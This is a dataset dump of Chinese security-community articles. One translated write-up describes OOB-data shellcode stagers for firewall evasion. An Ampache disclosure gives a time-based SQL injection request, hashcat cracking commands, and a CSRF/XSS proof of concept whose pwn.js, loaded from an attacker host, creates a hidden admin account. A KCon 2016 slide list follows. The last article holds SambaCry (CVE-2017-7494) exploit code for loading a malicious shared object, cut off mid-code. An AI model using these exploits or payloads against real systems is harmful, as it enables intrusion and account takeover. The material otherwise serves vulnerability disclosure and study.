text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
# 如何利用OOB数据绕过防火墙对shellcode的拦截
|
##### 译文声明
本文是翻译文章，文章原作者 shelliscoming，文章来源：shelliscoming.com
原文地址：<https://www.shelliscoming.com/2019/03/one-way-shellcode-for-firewall-evasion.html>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
在最近一篇文章中，我分享了可以绕过防火墙的一种[shellcode技术](https://www.shelliscoming.com/2018/06/windows-reuse-shellcode-based-on.html)，这种技术基于socket本身的生命周期，在某些利用场景中可以派上用场。关于这类shellcode（复用socket/连接）我想与大家分享另一种技术，这种技术在针对Windows系统的某些远程利用场景中非常有用（比如防火墙禁用出站连接，无法使用反向shell的场景）。
对其他系统而言（比如Linux系统），这并不是一种全新的技术。实际上bkbll（[HTRAN](https://github.com/HiwinCN/HTran/blob/master/Windows_Version/HTran.cpp)的开发者之一）曾在多年前使用这种方法来复用连接，这也是我在Windows上实现这种技术的原因所在。请大家记住一点，与我在前一篇文章中提到的一样，这类shellcode非常特别，只适用于某些特定的利用场景，并且有时候利用起来比较麻烦。可能这种方法在每个目标的应用上较为困难、耗时较久，因此攻击者以及渗透测试人员更倾向于使用“通用型”payload。
## 二、OOB数据
TCP允许我们在同一信道中发送[OOB](http://www.serverframework.com/asynchronousevents/2011/10/out-of-band-data-and-overlapped-io.html)（out of
band，带外）数据，标识TCP流中的某些信息需要接收方尽快处理，许多人对该特性并不是特别了解。某些服务通常会使用这种功能发送针对特殊情况的通知（如取消数据传输场景）。
我们可以在`send`函数中通过`MSG_OOB`标志发送OOB数据。当使用这种方式时，TCP栈会构造带有`URG`标志的一个数据包，将OOB数据所在的偏移地址填充到`Urgent
Pointer`中。
为了感知到这类数据，接收端必须使用`MSG_OOB`标志来调用`recv`函数，否则只会从数据流中读取“正常的”数据（没有使用[`SO_OOBINLINE`](https://docs.microsoft.com/en-us/windows/desktop/winsock/protocol-independent-out-of-band-data-2)选项来设置socket）。如果想更深入理解这种机制的工作原理，大家可以参考[此处链接](http://www.masterraghu.com/subjects/np/introduction/unix_network_programming_v1.3/ch24lev1sec2.html)。
这一点对我们而言非常重要，如果某个应用程序无法处理OOB数据，那么即使我们发送了OOB数据，该应用也会像正常情况下处理TCP流。只有调用了对应的API，才可以获取到这类数据。那么我们如何利用这种特性呢？非常简单，在构造实际利用场景时，我们只需要在shellcode运行之前，在某些数据包中发送OOB数据（只需1字节即可）。stager只需要暴力遍历可能的socket，寻找带有OOB特征的socket即可。C语言版的实现如下所示：
我以Metasploit中的[reverse TCP shellcode](https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x86/src/block/block_reverse_tcp.asm)作为模板来开发能够处理这种逻辑的stager。我将模板中用来生成反向连接的代码段替换为如下代码：
红框中的asm代码负责遍历所有的socket描述符，直至找到带有OOB字节的socket为止。请注意，由于这种shellcode利用的是socket的生命周期（参考之前的[文章](https://www.shelliscoming.com/2018/06/windows-reuse-shellcode-based-on.html)），因此stager不会受NAT影响。
## 三、PoC：FTP Exploit
我们来看一下如何在Windows远程利用场景中使用这种技术。我们的测试目标为Konica Minolta
FTP服务器，[利用](https://www.exploit-db.com/exploits/39215)了该服务器中的一个漏洞。如果我们在漏洞利用中使用了之前的payload（`windows/shell_reverse_tcp`），那么就会生成两个连接：（1）用来触发漏洞的连接；（2）由stager创建的连接，回连到我们的4444端口。
如果防火墙限制了出站连接，那么就会阻止反向shell，导致我们攻击失败。现在来看看如何构造我们的“单向式shellcode”。
首先我们稍微修改发送到目标服务的数据，来看一下服务端会有什么反应。我们可以在`USER
Anonymous`字符串末尾添加一个新字节（一个`A`），（通过`MSG_OOB`标志）将其作为OOB数据发送。
为了全面了解FTP服务对通信数据的处理过程，我选择使用[Frida](https://www.frida.re/)。Frida是我很喜欢的一款工具，可以帮我们节省大量的调试时间。我使用如下脚本来执行[`frida-trace`](https://www.frida.re/docs/frida-trace/)，以便获取`recv`
API返回的所有参数及值（之前我也使用`frida-trace`来识别用来发送/接收数据的API，如`send`、`sendto`、`recv`、`recvfrom`、`WSASend`以及`WSARecv`等）。
开始利用漏洞后，我们可以观察到如下结果，其中最重要的数据已用红框标注出来。需要注意的是，`recv`函数在获取`User
anonymous`时返回的是0x10字节（而非0x11字节），也就是说，该函数并没有考虑到以OOB形式发送的额外字节。根据这一信息，我们可以推测目标服务并没有使用`SO_OOBINLINE`来设置socket句柄（如果设置该标志，则会在读取正常数据流时一并读取OOB数据）。
因此，我们只需要知道用来收集存在漏洞的命令（这里为`CWD`）的缓冲区大小，以便调整偏移量。当stager找到socket句柄时，就会执行如下代码。这里我没有发送payload的大小，而是直接调用`VirtualAlloc`来保留一个足够大的缓冲区（4MB）。之所以在`eax`等于`FFFFFFF`时停止接收数据，是因为这种情况下socket为非阻塞（non-blocking）状态，如果无法从缓冲区中获取更多数据，那么就会返回[`WSAEWOULDBLOCK`](https://bobobobo.wordpress.com/2008/11/09/resolving-winsock-error-10035-wsaewouldblock/)。这种方式不是特别稳定，可以添加更多逻辑（如添加`GetLastError`
API），但作为PoC来说这样处理已经足够。
接下来生成汇编代码，使用msfvenom进行混淆处理：
我使用Visual
Studio编译的一个简单程序作为payload，功能特别简单，只是弹出一个`MsgBox`。为了将`.exe`转换为“可映射”版本（这样才能以[反射方式](https://www.shelliscoming.com/2015/05/reflectpatcherpy-python-script-to-patch_11.html)加载），我使用了[Amber](https://github.com/EgeBalci/Amber)这款工具。
最终利用代码如下：
这里还要强调一点。对于这次利用过程，我将OOB字节在恶意缓冲区之前发送（并且只发送一次）。正确的做法是尽可能将OOB字节贴近能够触发漏洞的代码，具体原因参考如下[解释](https://www.ibm.com/support/knowledgecenter/en/ssw_ibm_i_71/rzab6/coobd.htm)：
> 如果没有设置`SO_OOBINLINE`
> socket选项，并且发送程序发送的OOB数据大于1字节，那么除最后1字节之外的所有字节都会被当成普通数据（普通数据意味着接收程序不需要设置`MSG_OOB`标志就能接收数据）。已发送的OOB数据的最后1个字节并没有存储在普通数据中，只有通过`MSG_OOB`标志调用`recv()`、`recvmsg()`或者`recvfrom()`
> API才能提取该字节。如果没有通过`MSG_OOB`标志来接收数据，那么收到普通数据后OOB字节就会被删除。此外，如果发送了多个OOB数据，那么前一次OOB数据就会被丢弃，接收端只会记住最后一次出现的OOB数据的具体位置。
再次攻击该服务后，Wireshark的抓包结果如下所示，这里只看到一个会话：
需要注意的是，虽然这种利用方式非常容易构造，但前面我提到过，有时候我们很难或者不可能在某些利用场景中使用这种方法。有时候被利用的进程本身并没有使用socket句柄，有时候即便进程中用到了socket句柄，但watchdog或者其他线程可能会破坏我们payload的功能。
大家可以访问我的[Github](https://github.com/BorjaMerino/Windows-One-Way-Stagers/tree/master/Out-Of-Band)获取相关代码，演示过程可参考[此处视频](https://youtu.be/wbG7M_Z7GRk)。 | 社区文章 |
## 概述
在一次Red
Team（红队）行动中，我们在[Ampache](https://ampache.org/)上发现多个危急漏洞，Ampache是一个开源的Web音视频管理平台。此次行动，一共发现两个CVEs，分别为[CVE-2019-12385](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-12385)
(SQL注入)和[CVE-2019-12386](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-12386) (储存型XSS)。
## SQL 注入(CVE-2019-12385)
经简单审计发现，Web应用通过Dba类（ORM）与数据库进行通信，该类依赖于PHP
PDO执行查询语句。Web程序中内置有许多预处理查询语句，其中大部分都是安全的，除了调用Dba::escape方法。
lib/class/dba.class.php:
134: public static function escape($var)
135: {
136: $dbh = self::dbh();
137: if (!$dbh) {
138: debug_event('Dba', 'Wrong dbh.', 1);
139: exit;
140: }
141: $var = $dbh->quote($var);
142: // This is slightly less ugly than it was, but still ugly
143: return substr($var, 1, -1);
144: }
该函数会调用[PDO::quote](https://www.php.net/manual/en/pdo.quote.php)方法，可用于转义特殊字符并且对字符串进行quote处理（单引号包裹）。然后在底层单引号会被自动处理掉。但SQL注入并非一定要用到单引号，攻击者仍可以造成SQL注入攻击。
我找到一处调用该方法的地方，可以验证漏洞。
lib/class/search.class.php:
1461: case 'last_play':
1462: $userid= $GLOBALS['user']->id;
1463: $where[]="`object_count`.`date` IS NOT NULL AND `object_count`.`date` $sql_match_operator (UNIX_TIMESTAMP() - ($input * 86400))";
1464: $join['object_count'] = true;
1465: break;
`$input`变量基本上可以视为：
Dba::escape($USER_INPUT)
现在攻击者可以尝试注入SQL语句（要避免引号或特殊字符）。
构造有效载荷，页面停滞5秒钟，可以确认漏洞：
POST /search.php?type=song
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: es-ES,es;q=0.9,en;q=0.8,pt;q=0.7
Cookie: ampache=[session_id]
Connection: close
limit=0&operator=or&rule_1=last_play&rule_1_operator=1&rule_1_input=1))union+select+1+from+dual+where+sleep(5)--&action=search
搜索页面存在漏洞，所以任意用户或访客都可以造成SQL攻击，窃取数据库中的管理员session。下面我还会介绍如何利用漏洞添加管理员用户。
## 密钥生成的问题
关于这应用的密钥生成，主要有两个问题。
### 哈希不加盐
lib/class/user.class.php:
990: public function update_password($new_password)
991: {
992: $new_password = hash('sha256', $new_password);
993: $new_password = Dba::escape($new_password);
994: $sql = "UPDATE `user` SET `password` = ? WHERE `id` = ?";
995: $db_results = Dba::write($sql, array($new_password, $this->id));
996: // Clear this (temp fix)
997: if ($db_results) {
998: unset($_SESSION['userdata']['password']);
990: }
1000: }
应用对密码做sha256加密处理，但是不加盐。
### 弱算法
下面这个方法用来生成伪随机码。
lib/general.lib.php47:
47: function generate_password($length)
48: {
49: $vowels = 'aAeEuUyY12345';
50: $consonants = 'bBdDgGhHjJmMnNpPqQrRsStTvVwWxXzZ6789';
51: $password = '';
52: $alt = time() % 2;
53: for ($i = 0; $i < $length; $i++) {
54: if ($alt == 1) {
55: $password .= $consonants[(rand(0, strlen($consonants) - 1))];
56: $alt = 0;
57: } else {
58: $password .= $vowels[(rand(0, strlen($vowels) - 1))];
59: $alt = 1;
60: }
61: }
62: return $password;
63: }
从代码可以看到，该方法用到了两个短字符集（13个"vowels（元音）"或36个"consonants（辅音）"），通过不断在其中选择字符来生成密码。不妙的是：生成时间戳已知，所以我们可推断出字符集的顺序（因为[time](https://www.php.net/manual/es/function.time.php)函数）。
此外，通过lostpassword.php，我们可以发现此方法生成的密码长度只有6个字符。
lostpassword.php
54: if ($client && $client->email == $email) {
55: $newpassword = generate_password(6);
56: $client->update_password($newpassword);
我们可以把这两个问题与SQL注入相结合，很快就可以拿下管理员账户：
1. 重置admin密码
2. 通过SQL注入：dump下生成密码的哈希值
3. 破解
使用hashcat命令，可以在几秒钟内破解出密钥：
.\hashcat64.exe -m 1400 -w 4 -a 3 ampache_hash_list.txt -1 aAeEuUyY12345 -2 bBdDgGhHjJmMnNpPqQrRsStTvVwWxXzZ6789 ?1?2?1?2?1?2 --outfile=ampache_result.txt -O
.\hashcat64.exe -m 1400 -w 4 -a 3 ampache_hash_list.txt -2 aAeEuUyY12345 -1 bBdDgGhHjJmMnNpPqQrRsStTvVwWxXzZ6789 ?1?2?1?2?1?2 --outfile=ampache_result.txt -O
## CSRF和储存型XSS (CVE-2019-12386)
localplay.php用于实例化对象，存在两个漏洞：CSRF和储存型XSS。利用这两个漏洞打一套组合拳，可以拿到管理员权限。
### 跨站脚本
Web应用在渲染"name"字段时，HTML中的特殊字符没有被正确转义。通过这点，攻击者插入恶意字符，可以盗用用户会话来执行某些操作。
通过一个简单的有效载荷来确认漏洞：
<script>alert(1)</script>
### 跨站请求伪造
另一方面，此应用没有token保护，易受CSRF攻击。所以攻击者可以组合这两个漏洞，盗用管理员账户。这要求一定的交互，攻击者需要通过社工手段使管理员访问存在恶意代码的链接：
poc
Index.html:
<html>
<body>
<form action="https://[AMPACHE]/localplay.php?action=add_instance" method="POST">
<input type="hidden" name="name" value="<script src=https://[ATTACKER]/pwn.js></script>" />
<input type="hidden" name="host" value="foobar" />
<input type="hidden" name="port" value="6666" />
<input type="hidden" name="host" value="foobar" />
<input type="hidden" name="port" value="9999" />
<input type="hidden" name="password" value="foobar" />
<input type="submit" value="Pwn!" /> <!-- Replace this with autosubmit stuff -->
</form>
</body>
pwn.js:
function pwned() {
var ifr = document.getElementById("pwn");
var target = ifr.contentDocument.getElementsByTagName("form")[2];
target.username.value = "NewAdmin";
target.email.value = "[email protected]";
target.password_1.value = "admin";
target.password_2.value = "admin";
target.access.value = "100";
target.submit();
}
var iframe = document.createElement('iframe');
iframe.setAttribute("src", "https://[AMPACHE]/admin/users.php?action=show_add_user");
iframe.setAttribute("id", "pwn");
document.body.appendChild(iframe);
setTimeout(pwned, 3000);
诱使管理员访问index页面后，浏览器会自动发送一个表单，创建一个带有XSS有效载荷实例。同时，有效载荷还将执行pwn.js中的JS代码，然后将在后台创建一个新的管理员账户。
## 重置邮箱的问题
另一个漏洞位于重置密码处：
lostpassword.php
34: $email = scrub_in($_POST['email']);
35: $current_ip =(isset($_SERVER['HTTP_X_FORWARDED_FOR'])) ? $_SERVER['HTTP_X_FORWARDED_FOR'] :$_SERVER['REMOTE_ADDR'];
36: $result = send_newpassword($email, $current_ip);
//...
$message = sprintf(T_("A user from %s has requested a password reset for '%s'."), $current_ip, $client->username);
攻击者可以在发送email时直接设置X-Forwarded-For标头，所以通过简单的钓鱼就可以重置用户密码：
curl https://[AMPACHE]/lostpassword.php --data "[email protected]&action=send" --header "X-Forwarded-For: WE CAN MANIPULATE THIS TO LURE YOU"
攻击者的邮箱将会收到：
A user from WE CAN MANIPULATE THIS TO LURE YOU has requested a password reset for 'XXXX'.
The password has been set to:: jEX3WE
参考来源：[tarlogic](https://www.tarlogic.com/en/blog/vulnerabilities-in-ampache/) | 社区文章 |
# 【技术分享】最新最全的KCon 2016 顶级黑客议题PPT
|
##### 译文声明
本文是翻译文章，文章来源：安全客
原文地址：[KCon 2016,会议PPT,黑客大会](KCon 2016,会议PPT,黑客大会)
译文仅供参考，具体内容表达以及含义原文为准。
KCon 黑客大会2016于8月26日在北京·凯宾斯基酒店如期举行，为期两天，KCon
黑客大会口号：汇聚黑客的智慧，本届主题则是探索一切、攻破一切，作为我国最重量级的黑客盛会，本次大会带来18大顶级黑客议题，借此警示行业健全安全。本文汇总最新议题PPT分享给大家。
**
**
**2016 Kcon PPT打包下载：<https://yunpan.cn/ckZNddBSuQjB3>** **访问密码 d3d7**
**议题** **：** Hacking Cloud Product
****
**作者：** 李可奕 ID：Demon 来自阿里云-云平台安全
**概述** ：从黑客思维角度分析多类云产品的脆弱点，如何突破云边界，并给出一些如何影响云产品的安全漏洞案例。
**PPT** **：** **云盘链接**<https://yunpan.cn/cMC6mSbD7Jiwj> 访问密码 289c
**议题：** 塔防模型落地之运维大战情报
**作者：** 姚威 ID：黑客叔叔 p0tt1 广州凌晨网络科技有限公司
**概述：**
****深防御塔防模型落地对接安全运维之时，威胁情报横空出世。壁垒边界抑或先知与银弹，演讲者将于大家共同探讨当塔防模型与安全运维遇上威胁情报时产生的特有景象。
**PPT：** ** **云盘链接****<https://yunpan.cn/cMCebnBFwFTDR> 访问密码 f046
********
**议题：** Reverse Engineering Trilogy
* * *
**作者：** 刘凯仁 ID：xwings Team of vnsec 中新网路信息安全公司
**概述：** 放弃现有旧工具，介绍由我们团队打造的几乎是逆向的标准软件（Capstone、Unicorn、Keystone）
**PPT：** ** **云盘链接****<https://yunpan.cn/cMC6UCaSiXyL2> 访问密码 13be
********
********
**
**
**议题：** VMProtect的一次奇妙之旅
* * *
**作者：** 何潇潇 北京永信至诚科技股份有限公司 安全研究员
**概述：** VMProtect是目前最强的虚拟化保护技术。本议题将讨论其虚拟化保护相关背景知识与设计原理，并结合一个非常流行的客户端进行还原演示
**PPT：** ** **云盘链接****<https://yunpan.cn/cMC6WwYGGcpR2> 访问密码 c866
********
********
**
**
**议题：** Attack Android App's Third Library
* * *
**作者：** dragonltx&quhe unLimit安全小组成员 主要研究领域为安卓安全与漏洞挖掘
**概述：** 本议题介绍针对Android第三方的漏洞攻击和Fuzz方法，并围绕开发者应对方案展开讨论。
**PPT：** ** **云盘链接****[](https://yunpan.cn/cMCjSR4sk982H)[
https://yunpan.cn/cMCW3ZrD4NmHA](https://yunpan.cn/cMCW3ZrD4NmHA) 访问密码 1509
**议题：** Binder Fuzz based on drozer
* * *
**作者：** 行之 ID：0xr0ot 安全研究员 主要研究领域为安卓安全与系统漏洞挖掘
**概述：** 首先介绍基于drozer的binder fuzz模型，然后分享几个有趣的安卓系统漏洞。最后介绍系统服务漏洞的常见利用方法。
**PPT：** ** **云盘链接****<https://yunpan.cn/cMCkPTbhHaDHQ> 访问密码 9a55
**
**
**议题：** 剑走偏锋Hacking无处不在
* * *
**作者：** 朱利军 ID：Rabit2013 现任四叶草安全CSO CloverSec Labs 负责人
**概述：** 站在漏洞挖掘的角度介绍万物互联环境下如何攻破各类互联网络，包括智能联网设备、工控网络、交通网络等。
**PPT：** ** **云盘链接****<https://yunpan.cn/cMCWiuAX4UF8C> 访问密码 1779
****
**
**
**议题：** 聆听无线Fuzzing之旅
* * *
**作者：** KEVIN2600 insight-labs成员 安全分析师 坚信黑客精神就是不断探索未知领域
**概述：** 本议题将涉及WI-FI，蓝牙，NFC等常见无线通讯协议安全分析，带来大家一同体验剑走偏锋、反其道而行之的无线Fuzzing探索之旅。
**PPT：** ** **云盘链接****<https://yunpan.cn/cMC5JSWYiwqGh> 访问密码 2de0
**议题：** 伪基站高级利用技术
* * *
**作者：** Seeker 连续创业失败的创业导师 不投资的天使投资人
**概述：** 介绍GSM、UMTS、LTE伪基站概况，以及如何利用伪基站进行中间人攻击、仿冒手机身份、拦截短信、完成对手机和网络账户的快速入侵。
**PPT：** ** **云盘链接**** ** ******<https://yunpan.cn/ckZDH5crniZtd> 访问密码 d725
**
**
**议题：** 网络设备漏洞分析技术研究
* * *
**作者：** timo 来自兴化永恒 北京大学软件安全研究小组成员
**概述：** 从安全研究人员的角度分析网络设备漏洞特变，并通过案例分享Cisco ASA防火墙及路由设备等网络设备漏洞研究方法。
**PPT：** ** **云盘链接****<https://yunpan.cn/cMCvRDPqDUISY> 访问密码 15aa
****
**
**
**议题：** Came Saw Conquered-网络空间中的IoT安全
* * *
**作者：** 闫兆腾 ID：ppprince 中科院信息工程研究所 助研
**概述：** 解密网络空间物联网设备快速搜索技术和指纹提取方法，分析全球联网设备态势分部。最后通过0day漏洞利用带你看世界。
**PPT：** **
**云盘链接****[](https://yunpan.cn/cMCvRDPqDUISY)<https://yunpan.cn/cMCEgxHRdVNp7>
访问密码 a49c
**
**
**议题：** 感知、诱捕、情报、协作：网络空间工控系统威胁情报
* * *
**作者：** Kimon 灯塔实验室负责人
**概述：** 本议题将立足网络空间攻防对抗的新战场——工控系统，踢除威胁感知诱捕并分析与展示系统俘获的入侵行为。
**PPT：** ** **云盘链接****<https://yunpan.cn/cMCE8Zx6LWSmV> 访问密码 031e
**议题：** 与僵尸网络攻防对抗的激情岁月
* * *
**作者：** b1t 猎户攻防实验室 安全研究员
**概述：** 主要讲述与僵尸网络攻防对抗的一些经验，包括识别、监控、反制僵尸网络的一些技术分享，以及关于一个僵尸网络黑色产业链的案例介绍。
**PPT：** 云盘链接 <https://yunpan.cn/cMC5sIbffDZG9> 访问密码 7f82
**
**
**2016 Kcon PPT打包下载：<https://yunpan.cn/ckZNddBSuQjB3>** **访问密码 d3d7** | 社区文章 |
先知技术社区独家发表本文，如需要转载，请先联系先知技术社区授权；未经授权请勿转载。先知技术社区投稿邮箱：[email protected]
[i][i][i][/i][/i][/i]
**Catalogue**
1. 漏洞复现
2. 漏洞代码原理分析
3. 漏洞利用前提
4. 临时缓解 && 修复手段
**1\. 漏洞复现**
1. SMB登录上去
2. 枚举共享目录，得到共享目录/文件列表，匿名IPC$将会被跳过
3. 从中过滤目录，检测是否可写(通过创建一个.txt方式实现)
4. 生成一个随机8位的so文件名，并将paylaod写入so中
5. 最后一步，连接到\\192.168.206.128\\IPC$，在smb登录状态下，创建/打开一个named pipe
**0x1: POC1**
# -*- coding: utf-8 -*- # AUTHOR: zhenghan.zh
# RELEASE TIME: 2017/05/25
# LINK: https://github.com/hdm/metasploit-framework/blob/0520d7cf76f8e5e654cb60f157772200c1b9e230/modules/exploits/linux/samba/is_known_pipename.rb
# DESCRIPTION: 如果黑客可以对samba某个目录具备写权限，可以向其中写入一个包含samba_init_module()导出函数的so文件，并且向samba服务器通过IPC named pipe的形式请求这个so文件，
# 由于对路径中的斜杠处理不当，samba会加载并执行这个so文件中的samba_init_module()代码逻辑
from optparse import OptionParser
from impacket.dcerpc.v5 import transport
def main():
parser = OptionParser()
parser.add_option("-t", "--target", dest="target", help="target ip address")
parser.add_option("-m", "--module", dest="module", help="module path on target server")
(options, args) = parser.parse_args()
if options.target and options.module:
stringbinding = r'ncacn_np:%s[\pipe\%s]' % (options.target, options.module)
rpctransport = transport.DCERPCTransportFactory(stringbinding)
dce = rpctransport.get_dce_rpc()
dce.connect()
else:
parser.print_help()
if __name__ == "__main__":
main()
**0x2: POC2**
#! /usr/bin/env python
# Title : ETERNALRED
# Date: 05/24/2017
# Exploit Author: steelo <[email protected]>
# Vendor Homepage: https://www.samba.org
# Samba 3.5.0 - 4.5.4/4.5.10/4.4.14
# CVE-2017-7494
import argparse
import os.path
import sys
import tempfile
import time
from smb.SMBConnection import SMBConnection
from smb import smb_structs
from smb.base import _PendingRequest
from smb.smb2_structs import *
from smb.base import *
class SharedDevice2(SharedDevice):
def __init__(self, type, name, comments, path, password):
super().__init__(type, name, comments)
self.path = path
self.password = password
class SMBConnectionEx(SMBConnection):
def __init__(self, username, password, my_name, remote_name, domain="", use_ntlm_v2=True, sign_options=2, is_direct_tcp=False):
super().__init__(username, password, my_name, remote_name, domain, use_ntlm_v2, sign_options, is_direct_tcp)
def hook_listShares(self):
self._listShares = self.listSharesEx
def hook_retrieveFile(self):
self._retrieveFileFromOffset = self._retrieveFileFromOffset_SMB1Unix
# This is maily the original listShares but request a higher level of info
def listSharesEx(self, callback, errback, timeout = 30):
if not self.has_authenticated:
raise NotReadyError('SMB connection not authenticated')
expiry_time = time.time() + timeout
path = 'IPC$'
messages_history = [ ]
def connectSrvSvc(tid):
m = SMB2Message(SMB2CreateRequest('srvsvc',
file_attributes = 0,
access_mask = FILE_READ_DATA | FILE_WRITE_DATA | FILE_APPEND_DATA | FILE_READ_EA | FILE_WRITE_EA | READ_CONTROL | FILE_READ_ATTRIBUTES | FILE_WRITE_ATTRIBUTES | SYNCHRONIZE,
share_access = FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
oplock = SMB2_OPLOCK_LEVEL_NONE,
impersonation = SEC_IMPERSONATE,
create_options = FILE_NON_DIRECTORY_FILE | FILE_OPEN_NO_RECALL,
create_disp = FILE_OPEN))
m.tid = tid
self._sendSMBMessage(m)
self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, connectSrvSvcCB, errback)
messages_history.append(m)
def connectSrvSvcCB(create_message, **kwargs):
messages_history.append(create_message)
if create_message.status == 0:
call_id = self._getNextRPCCallID()
# The data_bytes are binding call to Server Service RPC using DCE v1.1 RPC over SMB. See [MS-SRVS] and [C706]
# If you wish to understand the meanings of the byte stream, I would suggest you use a recent version of WireShark to packet capture the stream
data_bytes = \
binascii.unhexlify(b"""05 00 0b 03 10 00 00 00 74 00 00 00""".replace(b' ', b'')) + \
struct.pack('<I', call_id) + \
binascii.unhexlify(b"""
b8 10 b8 10 00 00 00 00 02 00 00 00 00 00 01 00
c8 4f 32 4b 70 16 d3 01 12 78 5a 47 bf 6e e1 88
03 00 00 00 04 5d 88 8a eb 1c c9 11 9f e8 08 00
2b 10 48 60 02 00 00 00 01 00 01 00 c8 4f 32 4b
70 16 d3 01 12 78 5a 47 bf 6e e1 88 03 00 00 00
2c 1c b7 6c 12 98 40 45 03 00 00 00 00 00 00 00
01 00 00 00
""".replace(b' ', b'').replace(b'\n', b''))
m = SMB2Message(SMB2WriteRequest(create_message.payload.fid, data_bytes, 0))
m.tid = create_message.tid
self._sendSMBMessage(m)
self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, rpcBindCB, errback, fid = create_message.payload.fid)
messages_history.append(m)
else:
errback(OperationFailure('Failed to list shares: Unable to locate Server Service RPC endpoint', messages_history))
def rpcBindCB(trans_message, **kwargs):
messages_history.append(trans_message)
if trans_message.status == 0:
m = SMB2Message(SMB2ReadRequest(kwargs['fid'], read_len = 1024, read_offset = 0))
m.tid = trans_message.tid
self._sendSMBMessage(m)
self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, rpcReadCB, errback, fid = kwargs['fid'])
messages_history.append(m)
else:
closeFid(trans_message.tid, kwargs['fid'], error = 'Failed to list shares: Unable to read from Server Service RPC endpoint')
def rpcReadCB(read_message, **kwargs):
messages_history.append(read_message)
if read_message.status == 0:
call_id = self._getNextRPCCallID()
padding = b''
remote_name = '\\\\' + self.remote_name
server_len = len(remote_name) + 1
server_bytes_len = server_len * 2
if server_len % 2 != 0:
padding = b'\0\0'
server_bytes_len += 2
# The data bytes are the RPC call to NetrShareEnum (Opnum 15) at Server Service RPC.
# If you wish to understand the meanings of the byte stream, I would suggest you use a recent version of WireShark to packet capture the stream
data_bytes = \
binascii.unhexlify(b"""05 00 00 03 10 00 00 00""".replace(b' ', b'')) + \
struct.pack('<HHI', 72+server_bytes_len, 0, call_id) + \
binascii.unhexlify(b"""4c 00 00 00 00 00 0f 00 00 00 02 00""".replace(b' ', b'')) + \
struct.pack('<III', server_len, 0, server_len) + \
(remote_name + '\0').encode('UTF-16LE') + padding + \
binascii.unhexlify(b"""
02 00 00 00 02 00 00 00 04 00 02 00 00 00 00 00
00 00 00 00 ff ff ff ff 00 00 00 00 00 00 00 00
""".replace(b' ', b'').replace(b'\n', b''))
m = SMB2Message(SMB2IoctlRequest(kwargs['fid'], 0x0011C017, flags = 0x01, max_out_size = 8196, in_data = data_bytes))
m.tid = read_message.tid
self._sendSMBMessage(m)
self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, listShareResultsCB, errback, fid = kwargs['fid'])
messages_history.append(m)
else:
closeFid(read_message.tid, kwargs['fid'], error = 'Failed to list shares: Unable to bind to Server Service RPC endpoint')
def listShareResultsCB(result_message, **kwargs):
messages_history.append(result_message)
if result_message.status == 0:
# The payload.data_bytes will contain the results of the RPC call to NetrShareEnum (Opnum 15) at Server Service RPC.
data_bytes = result_message.payload.out_data
if data_bytes[3] & 0x02 == 0:
sendReadRequest(result_message.tid, kwargs['fid'], data_bytes)
else:
decodeResults(result_message.tid, kwargs['fid'], data_bytes)
elif result_message.status == 0x0103: # STATUS_PENDING
self.pending_requests[result_message.mid] = _PendingRequest(result_message.mid, expiry_time, listShareResultsCB, errback, fid = kwargs['fid'])
else:
closeFid(result_message.tid, kwargs['fid'])
errback(OperationFailure('Failed to list shares: Unable to retrieve shared device list', messages_history))
def decodeResults(tid, fid, data_bytes):
shares_count = struct.unpack('<I', data_bytes[36:40])[0]
results = [ ] # A list of SharedDevice2 instances
offset = 36 + 52 # You need to study the byte stream to understand the meaning of these constants
for i in range(0, shares_count):
results.append(SharedDevice(struct.unpack('<I', data_bytes[offset+4:offset+8])[0], None, None))
offset += 12
for i in range(0, shares_count):
max_length, _, length = struct.unpack('<III', data_bytes[offset:offset+12])
offset += 12
results[i].name = data_bytes[offset:offset+length*2-2].decode('UTF-16LE')
if length % 2 != 0:
offset += (length * 2 + 2)
else:
offset += (length * 2)
max_length, _, length = struct.unpack('<III', data_bytes[offset:offset+12])
offset += 12
results[i].comments = data_bytes[offset:offset+length*2-2].decode('UTF-16LE')
if length % 2 != 0:
offset += (length * 2 + 2)
else:
offset += (length * 2)
max_length, _, length = struct.unpack('<III', data_bytes[offset:offset+12])
offset += 12
results[i].path = data_bytes[offset:offset+length*2-2].decode('UTF-16LE')
if length % 2 != 0:
offset += (length * 2 + 2)
else:
offset += (length * 2)
max_length, _, length = struct.unpack('<III', data_bytes[offset:offset+12])
offset += 12
results[i].password = data_bytes[offset:offset+length*2-2].decode('UTF-16LE')
if length % 2 != 0:
offset += (length * 2 + 2)
else:
offset += (length * 2)
closeFid(tid, fid)
callback(results)
def sendReadRequest(tid, fid, data_bytes):
read_count = min(4280, self.max_read_size)
m = SMB2Message(SMB2ReadRequest(fid, 0, read_count))
m.tid = tid
self._sendSMBMessage(m)
self.pending_requests[m.mid] = _PendingRequest(m.mid, int(time.time()) + timeout, readCB, errback,
fid = fid, data_bytes = data_bytes)
def readCB(read_message, **kwargs):
messages_history.append(read_message)
if read_message.status == 0:
data_len = read_message.payload.data_length
data_bytes = read_message.payload.data
if data_bytes[3] & 0x02 == 0:
sendReadRequest(read_message.tid, kwargs['fid'], kwargs['data_bytes'] + data_bytes[24:data_len-24])
else:
decodeResults(read_message.tid, kwargs['fid'], kwargs['data_bytes'] + data_bytes[24:data_len-24])
else:
closeFid(read_message.tid, kwargs['fid'])
errback(OperationFailure('Failed to list shares: Unable to retrieve shared device list', messages_history))
def closeFid(tid, fid, results = None, error = None):
m = SMB2Message(SMB2CloseRequest(fid))
m.tid = tid
self._sendSMBMessage(m)
self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, closeCB, errback, results = results, error = error)
messages_history.append(m)
def closeCB(close_message, **kwargs):
if kwargs['results'] is not None:
callback(kwargs['results'])
elif kwargs['error'] is not None:
errback(OperationFailure(kwargs['error'], messages_history))
